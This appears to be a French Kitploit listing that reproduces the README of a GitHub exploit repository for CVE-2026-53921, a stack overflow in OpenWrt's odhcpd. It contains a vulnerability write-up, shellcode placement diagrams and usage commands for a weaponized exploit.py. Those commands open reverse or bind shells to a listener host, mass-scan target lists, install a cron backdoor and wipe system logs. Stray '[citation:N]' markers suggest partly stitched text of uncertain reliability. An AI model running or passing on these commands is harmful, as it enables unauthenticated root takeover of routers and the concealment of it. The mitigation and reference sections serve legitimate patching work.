Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – Débordement de pile odhcpd (CVSS 9.8) 🛡️ Write-Up détaillé et complet de la vulnérabilité, avec vérificateur et multi-exploit pour l'exécution de code à distance (RCE) DHCPv6 sur OpenWrt. Débordement à double vecteur (IA_NA/IA_PD) avec shellcode MIPS/ARM, chaînes ROP, proxy SOCKS5, persistance, effacement des journaux et balayage de masse. Utilisez de manière éthique, restez dans la légalité. 🔒 | Kitploit
Outils/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
Sécurité des Systèmes EmbarquésReconnaissanceFrameworks d'ExploitationSécurité IoTAnalyse des VulnérabilitésExploitationPost-ExploitationRed TeamingGénération de Shellcode

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

CVE-2026-53921 – Débordement de pile odhcpd (CVSS 9.8) 🛡️ Write-Up détaillé et complet de la vulnérabilité, avec vérificateur et multi-exploit pour l'exécution de code à distance (RCE) DHCPv6 sur OpenWrt. Débordement à double vecteur (IA_NA/IA_PD) avec shellcode MIPS/ARM, chaînes ROP, proxy SOCKS5, persistance, effacement des journaux et balayage de masse. Utilisez de manière éthique, restez dans la légalité. 🔒

Développement de Charges Utiles
Exploitation de Binaires
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

Voir le dépôt
67il y a 1 moisPas encore vérifié
Partager

CVE-2026-53921

CVE-2026-53921 – Débordement de pile dans odhcpd

CVE CVSS OpenWrt

⚠️ Uniquement à des fins éducatives et de tests autorisés. Toute utilisation non autorisée est illégale.


📖 Présentation de la vulnérabilité

CVE-2026-53921 est un débordement de tampon de pile critique dans le démon odhcpd d’OpenWrt – le serveur DHCPv6/DHCPv4/RA par défaut.

🔍 Comment ça fonctionne

La vulnérabilité se situe dans le code de traitement des messages DHCPv6 d’odhcpd, plus précisément dans les fonctions build_ia() et dhcpv6_ia_handle_IAs().

Analyse technique approfondie

1. La cause racine

Le bug se produit lors de la sérialisation (empaquetage) des paquets de réponse DHCPv6. Lorsque odhcpd répond aux requêtes des clients, il construit la réponse dans un tampon de pile de taille fixe de 512 octets sans vérification adéquate des limites.

root@kitploit:~
// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // ❌ No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Déclenchement du débordement

Un attaquant envoie une requête DHCPv6 (ou un Solicit) avec :

  • 5 options IA_NA (Identity Association for Non-temporary Address) ou plus, chacune contenant une sous-option IAAddress.
  • 22 options IA_PD (Identity Association for Prefix Delegation) ou plus.

Chaque option consomme de l’espace de pile lorsque odhcpd construit sa réponse. Les données accumulées dépassent 512 octets, provoquant le débordement.

3. Deux vecteurs de débordement


Vecteur Déclencheur Point de débordement


Site 1 5 options IA_NA build_ia() pour IA_NA avec adresses IPv6

Site 2 22 options IA_PD build_ia() pour IA_PD

La cause racine est identique, mais le débordement se produit dans des chemins de code différents, ce qui rend les deux vecteurs également exploitables.

4. Disposition de la mémoire

root@kitploit:~
Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

L’attaquant écrase l’adresse de retour sauvegardée pour qu’elle pointe vers son shellcode en mémoire.

5. Exigences d’exploitation


Exigence Description


Accès réseau L’attaquant doit avoir une connectivité IPv6 vers la cible

Authentification Aucune -- attaque non authentifiée

Privilèges odhcpd s’exécute en tant que root, donc l’RCE accorde le contrôle total du système

Service cible Le port UDP 547 (DHCPv6) doit être ouvert

6. Placement du shellcode

Dans un exploit réel, le shellcode de l’attaquant est placé dans les champs d’adresse IPv6 IAAddress (16 octets par IA_NA). Les paquets malveillants intègrent le shellcode, le NOP sled et l’adresse de retour dans ces champs.

root@kitploit:~
Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Chaîne d’impact

root@kitploit:~
Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Vecteurs d’attaque vs statut de correction

Version Statut RCE possible ?


odhcpd < e432dd6 Vulnérable ✅ Oui OpenWrt < 24.10.8 Vulnérable ✅ Oui OpenWrt < 25.12.5 Vulnérable ✅ Oui OpenWrt 24.10.8+ Corrigé ❌ Non OpenWrt 25.12.5+ Corrigé ❌ Non odhcpd master + e432dd6 Corrigé ❌ Non

9. Exploitation dans le monde réel

Cette vulnérabilité est particulièrement dangereuse car :

  • odhcpd est activé par défaut sur les installations OpenWrt.
  • Aucune authentification n’est requise --- tout appareil sur le même segment IPv6 peut attaquer.
  • Le bug se trouve dans le chemin de traitement des requêtes.
  • Les canaris de pile et l’ASLR sont rarement présents sur les appareils embarqués MIPS/ARM.
  • L’exploit peut contourner les défenses courantes dans de nombreux environnements embarqués.

🎯 Versions affectées

ComposantVersions vulnérablesCorrigé dans
odhcpd (branche master)avant le commit e432dd6e432dd6 ou ultérieur
Versions OpenWrt< 24.10.8 < 25.12.5

🧰 Outils

Ce dépôt fournit deux scripts indépendants :

ScriptObjectifCode d’exploitSécurité
verifier.pyVérification de vulnérabilité non intrusive❌ Non✅ Sûr
exploit.pyExploit complet et armé

🔎 verifier.py – Vérificateur de vulnérabilité

  • Envoie un Solicit DHCPv6 standard pour vérifier que le service est actif.
  • Lit les bannières HTTP/SSH pour détecter la version d’OpenWrt.
  • Compare la version avec la plage connue comme vulnérable.
  • N’envoie aucun payload de débordement ni shellcode.

💥 exploit.py – Exploit complet

  • Vecteurs de débordement doubles : IA_NA (Site1) et IA_PD (Site2).
  • Détection automatique de l’architecture (MIPS / ARM).
  • Shellcodes reverse et bind MIPS big-endian.
  • Prise en charge du proxy SOCKS5.
  • Persistance (backdoor cron) et nettoyage des journaux.
  • Scan multithread et exploitation de masse.
  • Encodage de payload optionnel (XOR).

🚀 Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

📝 Utilisation

🔍 Vérificateur – vérifier si une cible est vulnérable

root@kitploit:~
sudo python3 verifier.py -u fe80::1%eth0 -i eth0

💥 Exploit – obtenir un shell inverse (ne pas utiliser pour des activités illégales, uniquement pour des tests avancés)

root@kitploit:~
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

⚙️ Options de la ligne de commande

verifier.py

ArgumentDescription
-u, --targetAdresse IPv6 cible (obligatoire)
-i, --ifaceInterface réseau (par défaut : eth0)

exploit.py

🧪 Exemples de scénarios

1. Scanner une liste de cibles

root@kitploit:~
sudo python3 exploit.py -l targets.txt --scan-only --threads 10
root@kitploit:~
### 2. Exploit a single target with bind shell
root@kitploit:~
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
root@kitploit:~
### 3. Use SOCKS5 proxy + persistence + log wiping
root@kitploit:~
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs

🛡️ Atténuation

Mettez à niveau OpenWrt vers 24.10.8 ou 25.12.5 ou une version ultérieure.

root@kitploit:~
opkg update
opkg upgrade odhcpd

📌 Références

Sources officielles

  • Avis de sécurité OpenWrt (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 Avis détaillé couvrant les deux vecteurs de débordement dans odhcpd.

  • Entrée CVE-2026-53921 du NVD https://nvd.nist.gov/vuln/detail/CVE-2026-53921 Entrée officielle de la base de données de vulnérabilités du NIST.

  • Notes de version OpenWrt 24.10.8 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 Annonce officielle de la version pour la branche 24.10.

  • Notes de version OpenWrt 25.12.5 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html Annonce officielle de la version pour la branche 25.12.

CVE associées corrigées dans la même version

Les versions 24.10.8 et 25.12.5 corrigent plusieurs vulnérabilités d’odhcpd au-delà de CVE-2026-53921 [citation:9] :

Analyses techniques et articles

  • Analyse de The Hacker News https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html Analyse technique détaillée de la vulnérabilité et des vecteurs d’exploitation. [citation:1]

  • Dépôt GitHub du PoC https://github.com/0xBlackash/CVE-2026-53921 Implémentations publiques de preuve de concept et détails techniques. [citation:3]

Correctifs de sécurité supplémentaires dans 25.12.5

La version 25.12.5 corrige également des vulnérabilités dans d’autres composants essentiels [citation:10] :

  • uhttpd : Contrebande de requêtes HTTP (CVE-2026-55612, CVE-2026-55614)
  • LuCI : Multiples failles d’élévation de privilèges et de XSS
  • cgi-io : Traversée de chemin authentifiée
  • Linux Kernel : Mis à jour vers 6.12.94 avec plusieurs CVE
  • OpenSSL : Mis à jour vers 3.5.7 corrigeant de nombreuses CVE
  • Dropbear SSH : Corrige CVE-2019-6111 et CVE-2026-35385

Documentation complémentaire

  • Sélecteur de firmware OpenWrt https://firmware-selector.openwrt.org/ Téléchargez les images de firmware corrigées pour votre appareil.

  • Catalogue CISA des vulnérabilités exploitées connues https://www.cisa.gov/known-exploited-vulnerabilities-catalog Vérifiez si CVE-2026-53921 a été ajouté au catalogue KEV (au 27 juillet 2026, il n’y figure pas). [citation:1]

Télécharger l’outil

24.10.8 & 25.12.5
✅ Oui
⚠️ Dangereux
ArgumentDescription
-u, --targetAdresse IPv6 cible
-l, --listFichier contenant une liste de cibles
-i, --ifaceInterface réseau (par défaut : eth0)
--lhostIP de l’écouteur (obligatoire)
--lportPort de l’écouteur (par défaut : 4444)
--vectorsite1, site2 ou both (par défaut : both)
--offsetDécalage de pile (par défaut : 512)
--retAdresse de retour en hexadécimal (ex. 0x7ffff000)
--archForcer mips ou arm (détection automatique si omis)
--payloadreverse ou bind (par défaut : reverse)
--encodenone ou xor (par défaut : none)
--proxy-hostIP du proxy SOCKS5
--proxy-portPort du proxy SOCKS5 (par défaut : 1080)
--persistenceInstaller une backdoor cron
--clear-logsEffacer les journaux système (syslog) après l’exploitation
--scan-onlyScanner uniquement les cibles, sans exploiter
--threadsNombre de threads pour le scan (par défaut : 5)
--verboseJournalisation verbeuse
CVE IDSévéritéDescription
CVE-2026-53918ÉlevéeUse-after-free dans le gestionnaire IA DHCPv6 [citation:4][citation:9]
CVE-2026-53920ÉlevéeDivulgation de mémoire de pile via une option DHCPv6 IA_NA/IA_PD tronquée [citation:9]
CVE-2026-53922ModéréeDéni de service avant authentification via un dépassement inférieur de size_t [citation:9]
CVE-2026-55606ModéréeSur-lecture du tampon de pile due à une incompatibilité d’endianness dans la longueur DUID [citation:9]
CVE-2026-62948-Injection de nom d’hôte DHCPv6 menant à un XSS stocké [citation:1]
CVE-2026-62947-Traversée de chemin authentifiée dans cgi-io [citation:1]